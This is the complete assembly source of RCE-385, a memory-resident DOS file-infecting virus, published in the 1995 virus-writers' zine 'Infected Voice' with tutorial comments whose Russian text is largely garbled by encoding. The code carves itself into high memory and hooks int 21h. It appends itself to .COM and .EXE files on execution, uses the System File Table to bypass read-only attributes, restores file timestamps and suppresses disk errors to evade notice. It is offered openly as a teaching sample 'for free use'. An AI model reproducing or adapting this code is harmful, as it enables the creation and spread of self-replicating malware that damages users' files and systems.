;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ ;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ ;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ ;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ ; °°°°°°°°°°°°°°°°° JAN 1995 ; ; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10. ; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!! ; ;--- RCE-385 (!).------------------------------------------------------------- ; ª¨¥ ®¤ ª® ¢à¥¬¥ ¯®è«¨ - ®¡ì«áï ¥ª¨© ¤ï¤îèª Œ®á⮢®© ¨ ¯¨á « ᢮© ;ç¥à⮢᪨ ¤®â®èë© AdInf -> ã ¨ çâ® ¦¥ ⥯¥àì?Œ-¤ ,⥯¥àì ᨤ¨¬ ¬ë â¥å®ªàëáë ;¨ á⥠¥¬ ¯® ⥬ ¤®¡àë¬ ¢à¥¬¥ ¬,ª®£¤ ã à æ¥«ë© §®®¯ ઠ¬ 訥 ¡¥£ «, ; ® - ¡« ¦¥ ¢ ¥¢¥¤¥¨¨,á«î®î ¡à맦 ,¤®ª §ë¢ «,çâ® ¥âã â ª¨å §¢¥à¥© ¢ RAM¥. ; € ⥯¥àì ¯® áâ ¢¨«¨ ¯à¨¬®ç¥ª ¢á直å - çãâì çâ®,áà §ã § ¢®¯ïâ!„ ¦¥ á⥫§ë ;¯à¨§ ¤ã¬ «¨áì : "€ 祣® íâ® ¬ë ᤥáì ⥫ ᢮¨ ᮪àë¢ ¥¬,¯àïç áì ª ª *beep ¢ ;*beep".ˆ á â¥å ¯®à ¯®è¥« à §« ¤ ¢ á।¥ ‚¨à¬ ª®¢.Šâ® ¯à¥¤« £ ¥â àë«® ¢ § é¨é¥- ;ë© à¥¦¨¬ áããâì ¨ ⥬ á ¬ë¬ ¯®¤£«ï¤ë¢ ¨¥ ¯à¨á¥çì, ªâ® ¯® ¤®¡à®â¥ ¤ã襢®© ;®¡¥é ¥â ¯à¨ ॠªæ¨¨ ¤¥â¥ªâ®à ª ª®£®, «ì áâ®à®¦ ¢¥§¤¥áã饣®,¬ 訥 ¢¨â ; *beep ®¯ã᪠âì!® ¢á¥ íâ® ¯®« ï *beepï!®á«ãè ©â¥ ¡à âæë ‚¨à¬ ª¨ -- ;¥ ¢ â¨à ¦¥ áç áâì¥, ¢ ªà á®â¥ «£®à¨â¬ !!!¥å © «®¢ïâáï ¢ è¨ §¢¥à¨ ¢á直¬¨ ;ॢ¨§®à ¬¨,¯ãáâì ä®à¬ â¨â à ᢮¨ ¢¨âë.Ž 祬 ¡®«ìè¥ á ⥬ ¬¥ìè¥ î§¥à®¢! ;(ˆ¡® ¬®£¨¥ ¨§ á ¥é¥ ¥ ¯®§ ¡ë«¨ Basic).€ «¥ç¨«ª¨ ¢á直¥ - ®¨ ¬ §¥¬«î ;à áç¨é îâ,¤«ï ®¢ëå "¯®á ¤®ª"! ; ® ᨥ ¢á¥ 梥â®çª ¬¨ ®¡§ë¢ ¥âáï!€ ¢®â ¯à¥¤á⠢⥠ᥡ¥,çâ® á¬ëè«¥ë© ¬ «ë© ;¦¥« ¥â ¯¨á âì ¯¥à¢®¥ ᢮¥ ¯à®¨§¢¥¤¥¨¥, ¥â ã ¥£® ¨ ⥮ਨ ¨ ¬ â¥àëå ;ª®à¥è¥©-‚¨à¬ ª®¢!‚®â ¨ ¯à¨è«®áì ¬¥ á®áâ ¢«ïâì ¯®á®¡¨¥-¤«ï- ç¨ îé¨å. ;ë« íâ® ¢¨àãá RCE-666 (¬®î ¯¨á ).Aidstest ¥£® ª«¨ç¥â: INFO /666,Web: Die-666. ;® ¯®â®¬ ®¡à¥§ ¢ ¥£® ¬ «¥ìª®,¯®«ã稫 ï RCE-385! ; ¤¥îáì,çâ® Ž ¤«ï ®¢¨çª®¢- ã祡¨ª®¬ áâ ¥â, ¤«ï £®á¯®¤ « ¬¥à®¢ - ¤®á⮩- ;ë¬ ¯®«¨£®®¬! ;----------------------------------------------------------------------------- ;(c) Light General.Kiev.1995. STEALTH group . For free use! ;----------------------------------------------------------------------------- cseg segment assume cs:cseg,ds:cseg org 100h start: nop ; ਧ ª § à ¦¥¨ï .COM ä ©« . jmp virr ; Ÿª®¡ë § à ¦¥ ï ¯à®£à ¬¬ .(‡ ¨¬ ¥â 30 ¡ ©â). nop nop mov ah,09 lea dx,wrn int 21h mov ax,4c00h int 21h ;-------------------------------------- wrn db 'FRODO LIVES!$' ;-------------------------------------- ;################# VIRUS ################## virr: call $+3 pop si sub si,03 ;-Hacked mem.----------------------------------------------------- push si clc mov ax,0FEFEh ; ஢¥à塞 ¯ ¬ïâì § à ¦¥®áâì! int 21h ; Š®«¨ ¢¨àãá “†… ᨤ¨â ¢ ¬ 訥 â® ® jc exit_v ; ¯®¤¨¬¥â ä« £ CF! ;- ‘«¥¤ãîé ï ç áâì ª®¤ ¯à®¨§¢®¤¨â "®âªãáë¢ ¨¥" 512 ¡ ©â ¯ ¬ïâ¨!------------- ; à¨æ¨¯ í⮣® "®âªãáë¢ ¨ï" ®á®¢ë¢ ¥âáï ⮬,çâ® ¯à¨ ¢ë¯®«¥¨¨ ¯à®£à ¬¬ë ;á¨á⥬ áâந⠯¥à¥¤ ¥¥ ª®¤®¬ â ª¨¥ ¡«®ª¨ (®¡à â¨â¥ ¢¨¬ ¨¥ ¢ë¤¥«¥ë¥ ;ç áâ¨) ;---(1)--- MCB - Memory Control Block («®ª ã¯à ¢«¥¨ï ¯ ¬ïâìî) ; Ž¡ëç® ¢ â ª¨å ¡«®ª å DOS ®¯¨áë¢ ¥â ¢ë¤¥«¥ë¥ ¯à®£à ¬¬ ¬ ãç á⪨ ¯ ¬ïâ¨! ; ”ŽŒ€’ : ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ § 票¥ ; ç « ¡«®ª . ³ ³ ; ³ ³ ; 00 ³ 1b ³ …᫨ á⮨â 'M' â® íâ®â ¡«®ª ¥ ¯®á«¥¤¨© ; ³ ³ 'Z' ¯®á«¥¤¨©. ; 01 ³ 1w ³ ‘¥£¬¥âë© ¤à¥á (á ª®â®à®£® ¢ë¤¥«¥ ¡«®ª). ;++++> 03 ³ 1w ³ „«¨ ¡«®ª ¢ ¯ à £à ä å (¯ à £à ä = 16 ¡ ©â) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;„ «ìè¥ ¨¤ãâ ¥é¥ ¤ ë¥,® á ¨â¥à¥áã¥â ⮫쪮 íâ®! ÄÄÄÄÄÄÄÄÄÄÄÄ ; ;---(2)--- PSP - Program Segment Prefix (à¥ä¨ªá ¯à®£à ¬¬®£® ᥣ¬¥â ) ; ‘¤¥áì ᮤ¥à¦¨âáï ¨ä®à¬ æ¨ï ¤«ï § ¯ã᪠¥¬®© ¯à®£à ¬¬ë! ; ”ŽŒ€’ : ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ § 票¥ ; ç « ¡«®ª . ³ ³ ; ³ ³ ; 00 ³ 1w ³ ‚ í⮬ á«®¢¥ á⮨⠪®¬ ¤ int 20h (CD 20h) ;++++> 02 ³ 1w ³ Ž¡é¨© à §¬¥à ¯ ¬ï⨠¢ë¤¥«¥ë© ¯à®£à ¬¬¥! ; ³ ³ (ਠ§ ¯ã᪥ ¯à®£à ¬¬ë DOS ¢ë¤¥«ï¥â ¥© ¢áî ; ³ ³ ¯ ¬ïâì "¤® ª®æ " 640 ª¨«®¡ ©â!) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;„ «ìè¥ ¨¤ãâ ¥ ¨â¥à¥áãî騥 á ¤ ë¥! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;-- ’ ª ¢®â,®â¨¬ ï ¥ª®â®à®¥ § 票¥ ®â ¢ë¤¥«¥ëå ï祥ª,¬ë ¬®¦¥¬ ᤥ« âì ;"¤ëàªã" ¢ áâ àè¨å ¤à¥á å ¯ ¬ï⨠¨ ¯¥à¥¥á⨠â㤠⥫® ¢¨àãá ! ; à ªâ¨ç¥áª ï ॠ«¨§ æ¨ï : mov ax,ds dec ax mov es,ax sub word ptr es:[03],35 ;* 512b sub word ptr ds:[02],35 ;* 512b mov es,ds:[02] ; ES = ᥣ¬¥â. ¤à. "®âªãè." ¯ ¬ïâ¨! push ds cs pop ds xor di,di mov cx,offset ax_len-offset virr ; „«¨ ¢¨àãá ! rep movsb ; ¥à¥®á¨¬ ¢¨àãá ¢ "®âª." ¯ ¬ïâì! ;-Install int.---------------------------------------------------- mov al,21h mov dx,offset int_21h_entry-offset virr mov si,offset ofs_21h-offset virr push es pop ds call inst_int ; “áâ ®¢¨¬ ¤à¥á int 21h ᢮© ; ®¡à ¡®â稪. pop ds exit_v: push ds pop es pop si ;- COM or EXE ?--------------------------------------------------- ; ஢¥à¨¬ ¨§ ª ª®£® ä ©« ¬ë áâ à⮢ «¨? ; â® ¤¥« ¥âáï ¯®â®¬ã,çâ® ¯¥à¥¤ ç ã¯à ¢«¥¨ï .COM ¨«¨ .EXE ¯à®£à ¬¬¥ ; ¯à®¨á室¨â ¯® à §®¬ã! cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z' jz L_exe ;-‚ocáâ ®¢¨âì âਠ¡ ©â ‡..------------------------------------- ; “ .COM ä ©« ¤®¡® ¢®ááâ ®¢¨âì ç¥âëॠ¯¥à¢ëå ¡ ©â ª®â®àë¥ ¬ë ¨§¬¥¨«¨ ; ¯à¨ § à ¦¥¨ï ä ©« ¤¨áª¥!(Œë § ¯¨á «¨ â㤠ª®¬ ¤ã ¯¥à¥å®¤ ¢¨àãá). mov di,100h add si,offset origin_2_byte-offset virr ; SI = ¤à¥á ¡ãä¥à á ®à¨£¨ «ì묨 ¡ ©â ¬¨ .COM ä ©« ! push di movsw movsw xor ax,ax ret ; Go to infected com program. ;-Loaded from exe file.-------------------------------------------- ; € ¢®â í⮠ᯮᮡ ªâ¨¢ 樨 .EXE ¯à®£à ¬¬ë! ; ‘¤¥áì ¯à®¨á室¨â ¢á¥ ¨ ç¥ : â.ª. ¯à¨ § à ¦¥¨¨ ä ©« ¬ë ¨§¬¥¨«¨ ¢ ¥¬ ; § £®«®¢®ª ª®â®àë© ãª §ë¢ ¥â á ª ª®£® ¤à¥á íâ®â ä ©« § ¯ã᪠îâ! ; (Šâ® ¥ § ¥â,çâ® â ª®¥ § £®«®¢®ª .EXE ä ©« ¯ãáâì ®¡à â¨âáï ª ª¨£¥ .€¡¥«ï ; "Ÿ§ëª €áᥬ¡«¥à ¤«ï IBM PC ¨ ¯à®£à ¬¬¨à®¢ ¨ï" (áâà. 362) L_exe: mov ax,es add ax,10h add cs:[offset CS_file-offset virr][si],ax ; ’ ª ¬ë ¢ëç¨á«¨«¨ ᥣ¬¥â ¢ ª®â®àë© ¤® ¯¥à¥¤ âì ã¯à ¢«¥¨¥! db 0eah ;- IP_file dw ? ;- JMP Far CS_file:IP_file CS_file dw ? ;- ;------------------------------------------------------------------ ; € í⮠ᮡá⢥® ç áâì ®â¢¥ç îé ï § § à ¦¥¨¥ ¯à®£à ¬¬! int_21h_entry proc cmp ax,0FEFEh ;-…᫨ ᮡà â á¯à 訢 ¥â ® «¨ç¨¨ jnz _@1 ;-᢮¥© த¨ â® ¤ âì ¤à㦥᪨© ®â¢¥â. stc ;- int_24h_entry: mov al,03 retf 2 _@1: cmp ax,4b00h ; …᫨ DOS ¯ëâ ¥âáï ¢ë¯®«¨âì ¯à®£à ¬¬ã jnz exit_all ; â® ¬ë § à ¦ ¥¬ ¥¥! jmp infecting ; exit_date: mov ax,5701h ; “áâ ®¢ª áâ ன ¤ âë ä ©« . mov cx,es:[di+13] ;<- Time mov dx,es:[di+15] ;<- Date int 21h exit_close: mov ah,3eh ; ¥à¥¤ ¯¥à¥¤ 祩 ã¯à ¢«¥¨ï DOS'ã - int 21h ; § ªà®¥¬ ä ©« ª®â®àë© § à ¦ «¨! exit_pop: lds dx,cs:[offset ofs_24h-offset virr] mov ax,2524h ; “áâ ®¢¨¬ ¬¥áâ® int 24h int 21h pop bp pop ds pop es pop di pop si pop dx pop cx pop bx pop ax exit_all: db 0eah ofs_21h dw 0000 seg_21h dw 0000 int_21h_entry endp ;------------------------------------------------------------------- infecting: push ax push bx push cx push dx push si push di push es push ds push bp push ds push dx ;------------------------------------------------------------------ ; ¥à¥áâ ¢¨¬ ¤à¥á ¢¥ªâ®à int 24h è ®¡à ¡®â稪 - â.¥. ¯à®áâãî ; § £«ãèªã,ª®â®à ï ¢ á«ãç ¥ "§ ª«¥¥®©" ¤¨áª¥âë ¥ ¯®§¢®«¨â DOS'ã ªà¨ç âì : ; Write protect error ... mov al,24h mov si,offset ofs_24h-offset virr mov dx,offset int_24h_entry-offset virr call inst_int pop dx pop ds ;-Open file...----------------------------------------------------- mov ax,3d00h int 21h jc exit_pop ;-Read header (EXE) or first 4 byte (COM).------------------------- mov bh,3fh xchg ax,bx mov cx,18h push cs pop ds mov dx,offset origin_2_byte-offset virr mov si,dx int 21h ; ‘ç¨âë¢ ¥¬ ¢ ¡ãä¥à 24 ¯¥à¢ëå ¡ ©â ¯à®£à ¬¬ë! _1: jc exit_close ; …᫨ ®è¨¡ª ,â® § ªà®¥¬ ä ©« ¨ ¢ë©¤¥¬. ;-Look SFT file!----------------------------- ; ‘®¡á⢥® £®¢®àï, ¤ «¥¥ ¨¤¥â "¨§î¬¨ª " ¢¨àãá - ¨§-§ ¥¥ ® ¨¬¥¥â â ª¨¥ ;¬ «ë¥ à §¬¥àë!ˆ â ª,çâ® ¦¥ íâ® : ; ˆ§¢®«¨â¥ «¨ ¢¨¤¥âì ï ¢¥áì¬ «¥¨¢,¨ ¥ ®ç¥ì «î¡«î ¢®§¨âáï á â ª¨¬¨ ; àã⨠¬¨ ª ª áï⨥ ¨ ãáâ ®¢ª âਡã⮢,¯¥à¥¬¥é¥¨¥ ä ©«®¢®£® 㪠§ ⥫ï! ; € ¯®á¥¬ã à ᪮¯ « ï ¢ãâà¥îî ¯®¤à®¡®áâì DOS' ! ; (Ž 㯮¬¨ ¥âáï ¢ à ¡®â¥ Š.ƒ.”¨®£¥®¢ "‘ ¬®ãç¨â¥«ì ¯® á¨áâ¥¬ë¬ äãªæ¨ï¬ ; MS-DOS" (áâà. 67) ( â ª ¦¥ ¢ í«¥ªâà®®¬ á¯à ¢®ç¨ª¥ Help PC) ; (‚¯¥à¢ë¥ ¯à¨¬¥¥® ¢ RC-0-512 (666,Written by Dark Avenger.) ; â® SFT -- System File Table - (‘¨á⥬ ï â ¡«¨æ ®âªàëâëå ä ©«®¢.) ;Ž ᮧ¤ ¥âáï ¤«ï ¢®¢ì ®âªàë¢ ¥¬®£® ä ©« ¨ ᮤ¥à¦¨â ¨ä®à¬ æ¨î ¨á¯®«ì§ã¥¬ãî ;¥¯®á।á⢥® ¯à®æ¥¤ãà ¬¨ § ¯¨á¨/áç¨âë¢ ¨ï DOS' !!! ; ; ”ŽŒ€’ : ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ § 票¥ ; ç « ¡«®ª .(„¥á.) ³ ³ ; ³ ³ ; 00 ³ 1w ³ Š®«-¢® ¤¥áªà¨¯â®à®¢ § ªà¥¯«¥ëå § ä ©«®¬ ; 02 ³ 1b ³ ¥¦¨¬ ¤®áâ㯠§ ¤ ë© ¯à¨ ¥£® ®âªàë⨨ ; 04 ³ 1b ³ €âਡãâë ä ©« ; 11 ³ 1w ³ ®¬¥à ¯¥à¢®£® ª« áâ¥à ä ©« ; 13 ³ 1w ³ ‚à¥¬ï ¯®á«¥¤¥© ¬®¤¨ä¨ª 樨 ä ©« ; 15 ³ 1w ³ „ â ... ; 17 ³ 2w ³ „«¨ ä ©« ; 21 ³ 2w ³ “ª § â¥«ì ¢ ä ©«¥ ; 32 ³ 11b ³ ˆ¬ï ¨ à áè¨à¥¨¥ ä ©« (¡¥§ '.') ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax,1220h ; ‘¥© ãç áâ®ç¥ª ª®¤ ¯®§¢®«ï¥â push bx ; ¯®«ãç¨âì ¤à¥á SFT ¢ ¯ ॠES:DI int 2fh ; mov bl,es:[di] ; mov ax,1216h ; int 2fh ; pop bx ; mov byte ptr es:[di+2],02 ; ‚ˆŒ€ˆ…!⨬ ¤¥©á⢨¥¬ ¬ë ;ᤥ« «¨ â ª,ç⮠⥯¥àì DOS ;áç¨â ¥â,çâ® ä ©« ®âªàëâ ¤«ï ;§ ¯¨á¨/áç¨âë¢ ¨ï! ; ’.¥. ¬ ¥ ¯® ¤®¡¨«®áì ;ᨬ âì âਡãâë ä ©« ! mov bp,es:[di+17] ; BP = file len! ;--------------------------------------------- ; ’¥¯¥àì ¯à®¢¥à塞 ¡ ©âë ª®â®àë¥ áç¨â «¨ ¢ ¡ãä¥à. lodsb dec si cmp al,'M' ; MZ - ¯à¨§ ª ⮣®,çâ® íâ® .EXE ä ©«! jz _EXE cmp al,90h ; NOP - ¥á«¨ íâ® .COM ä ©« â® ¯à®¢¥à¨¬ ¥£® ; ¯®¢â®àãî § à ¦¥®áâì!(‘¬®âà¨â¥ ¢ ç «®) _1d: jz exit_close ;-Infect .COM -------------------------------- ; ’ ª § à ¦ îâ .COM ä ©«ë! xchg ax,bp cmp ax,65000 ja exit_close ;„«¨ ¡®«ìè¥ ¤®¯ãá⨬®©. mov es:[di+21],ax ;‘â ¢¨¬ ä ©«®¢ë© 㪠§ â¥«ì ¢ ;ª®¥æ ä ©« ! ;-Make JMP------------------------------------ ; ’.ª. ¯à¨ § à ¦¥¨¨ ¬ë ¢¯¨áë¢ ¥¬ ¢ ç «® .COM ä ©« ¯¥à¥å®¤ ⥫® ¢¨àãá â® ;¬ë ¤®«¦ë ¢ëç¨á«¨âì ᬥ饨¥ í⮣® ¯¥à¥å®¤ ! sub ax,04 mov ds:[offset jmp_n-offset virr],ax call write_virus ; ¨è¥¬ ¢¨àãá ¢ ª®¥æ ä ©« ! mov cx,04h ; € ⥯¥àì ¯¨è¥¬ ¢ ç «® ä ©« â®â á ¬ë© mov dx,offset new_3_byte-offset virr ; ¯¥à¥å®¤! exit_write: mov ah,40h int 21h _1b: jmp exit_date ;-Sub. for write virus body (only) in file.---- write_virus proc xor dx,dx mov ah,40h mov cx,offset ax_len-offset virr int 21h mov es:[di+21],dx ; F.P = start file! mov es:[di+23],dx cmp ax,cx jnz _1c ret _1c: pop ax jmp _1b ; exit_date! write_virus endp ;-Infect .EXE --------------------------------- _EXE: ; € ⥯¥àì ¢ëáç¨â ¥¬ ¤«¨ã ä ©« , ¨áå®¤ï ¨§ ¤ ëå § ¯¨á ëå ¢ § £®«®¢ª¥ ; .EXE ä ©« ! ˆ ¥á«¨ ® ¥ ᮩ¤¥âáï á § ¯¨á ®© ¢ SFT, â® ¬ë áç¨â ¥¬,çâ® ; íâ® ä ©«, ᮤ¥à¦ 騩 ¥ï¢ë© ®¢¥à«¥© ¨ ¥ § à ¦ ¥¬ ¥£®! mov ax,ds:[si+4] ; Pages (512b). dec ax mov cx,512 mul cx add ax,[si+2] ; AX = File len from header. cmp ax,bp ; Real file len = ax ? jnz _1b ; No - this is overlay. ;----- mov es:[di+21],ax ; “ª § â¥«ì ¢ ª®¥æ ä ©« . mov es:[di+23],dx ;-Get header.----------------------------------- ; ‡ ¯®¬¨ ¥¬ ¤à¥á á ª®â®à®£® ¬ë ¡ã¤¥¬ § ¯ã᪠âì .EXE ¯à®£à ¬¬ã! mov ax,[si+14h] mov ds:[offset IP_file-offset virr],ax mov ax,[si+16h] mov ds:[offset CS_file-offset virr],ax ;----------------------------------------------- ; ‚ëç¨á«¨¬ ®¢ë© ¤à¥á (â.¥. ¤«ï § ¯ã᪠¢¨àãá ¯à¨ áâ à⥠¯à®£à ¬¬ë) xchg ax,bp mov cx,10h div cx sub ax,[si+8] sbb dx,0 mov [si+16h],ax ; ReloCS. mov [si+14h],dx ; ExeIP. ;-Correcting file len in header.---------------- ;’¥¯¥àì ®âª®à४â¨à㥬 ¤«¨ã ¢ § £®«®¢ª¥ .EXE ä ©« ! ;(…„“…†„€ž!„«¨ ¢¨àãá = 385 , ¬ë 㢥«¨ç¨¢ ¥¬ ¤«¨ã ä ©« ¢ § £®«®¢ª¥ ; ¥ 385 , 512!!!’.¥. ⥯¥àì ¤à㣨¥ "ã¬ë¥ ¢¨àãáë" ¥ ¡ã¤ãâ § à ¦ âì ; íâ®â ä ©«).‘®¡á⢥® £®¢®àï í⠮ᮡ¥®áâì ï¥âáï ¯à¨§ ª®¬ § à ¦¥¨ï,- ; ¬ë ¢¥¤ì ¥ § à ¦ ¥¬ ®¢¥à«¥¨! inc word ptr ds:[si+4] ;-Write virus to file.-------------------------- call write_virus ;-Write new header.----------------------------- mov cx,18h mov dx,si ; DX = offset header. jmp exit_write ; ®¤£®â®¢¨¢ ¢á¥ ª § ¯¨á¨ ¨á¯à ¢«¥®£® ;§ £®«®¢ª ¬ë ¯¥à¥¤ ¥¬ ã¯à ¢«¥¨¥ ¯àאַ ; ª®¬ ¤ã int 21h! ;---------------------------------------------- inst_int proc mov ah,35h int 21h mov ds:[si],bx mov ds:[si+2],es mov ah,25h int 21h ret inst_int endp new_3_byte db 90h ; NOP db 0e9h ; JMP nn jmp_n dw 0000 ; nn ;-Header for EXE file & buffer for first 5 bytes COM's file.-- origin_2_byte: header: db 4 dup (90h) ; NOPs ax_len db ? db 20h dup (?) ; For EXE header. ofs_24h dw ? seg_24h dw ? ;******************************************************** cseg ends end start ;-- Written by Light General.Kiev.1995.For free use! ----